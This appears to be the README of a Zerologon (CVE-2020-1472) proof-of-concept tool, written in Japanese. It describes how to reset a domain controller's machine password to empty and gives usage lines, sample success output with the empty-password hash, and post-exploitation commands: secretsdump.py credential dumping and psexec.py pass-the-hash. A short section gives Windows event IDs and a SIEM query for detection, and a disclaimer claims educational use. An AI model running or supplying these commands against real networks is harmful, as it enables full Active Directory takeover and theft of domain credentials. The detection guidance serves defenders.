
Zerologon (CVE-2020-1472) 概念実証(PoC)アプリケーション - 重大なActive Directoryの脆弱性を悪用するツール。
このプロジェクトは、最も重大なActive Directoryセキュリティ脆弱性の1つである**Zerologon脆弱性(CVE-2020-1472)**の実装です。この脆弱性により、認証されていない攻撃者がドメインコントローラーのマシンアカウントパスワードをリセットすることで、Active Directoryドメイン全体を侵害することができます。
Zerologonは、MicrosoftのNetlogonリモートプロトコル(MS-NRPC)における暗号上の欠陥です。この脆弱性は、Netlogonがゼロにハードコードされた初期化ベクトル(IV)でAES-CFB8暗号化を使用する方法に存在します。
技術的な概要:
1. Target Selection
└─> Identify Domain Controller (FQDN, NetBIOS name, machine account)
2. Challenge Phase (I_NetServerReqChallenge)
└─> Send all-zero client challenge (0x0000000000000000)
└─> Receive server challenge
3. Authentication Phase (I_NetServerAuthenticate2)
└─> Attempt authentication with null credentials
└─> Repeat until successful (~1/256 success rate per attempt)
4. Password Reset Phase (I_NetServerPasswordSet2)
└─> Reset DC machine account password to empty
└─> New NT hash: 31d6cfe0d16ae931b73c59d7e0c089c0 (empty password)
5. Post-Exploitation
└─> Use Pass-the-Hash with empty credentials
└─> Full domain compromise achieved
Visual Studioを使用する場合:
1. Open Visual Studio
2. Select **Build Solution** from the **Build** menu.
Zerologon.exe <DC_FQDN> <DC_NetBIOS_Name> <Machine_Account_Name>
例:
Zerologon.exe DC01.corp.example.com DC01 DC01$
DC_FQDN: 対象ドメインコントローラーの完全修飾ドメイン名(FQDN)DC_NetBIOS_Name: DCのNetBIOS名(通常はホスト名)Machine_Account_Name: マシンアカウント名($で終わる必要があります)悪用に成功した場合:
[+] Targeting Domain Controller:
FQDN : DC01.corp.example.com
NetBIOS Name : DC01
Machine Account: DC01$
[+] SUCCESS: Machine account password reset to empty!
[+] Now use Pass-the-Hash with:
.\DC01$:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
[+] Then run: secretsdump.py -just-dc <domain>/<dc_account>@<dc_ip>
悪用に失敗した場合(パッチ適用済みシステム):
[-] Attack failed after 2000 attempts. Target likely patched.
DCパスワードのリセットに成功した後、以下が可能です:
secretsdump.py -no-pass -just-dc 'DOMAIN/DC01$'@192.168.1.10
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 'DOMAIN/DC01$'@DC01
ネットワークベースの検出:
ログベースの検出:
Event Viewer → Windows Logs → System
- Event ID 5827: Multiple password validation failures
- Event ID 5829: Secure channel reset
SIEMクエリ:
source="WinEventLog:System" EventCode=5827 OR EventCode=5829
| stats count by Computer, SourceIP
| where count > 100
このツールは教育目的および許可されたセキュリティ研究目的のみで提供されます。
作者は、このコードの不正使用について一切の責任を負いません。
このプロジェクトはMITライセンスの下でライセンスされています。詳細については、LICENSEファイルを参照してください。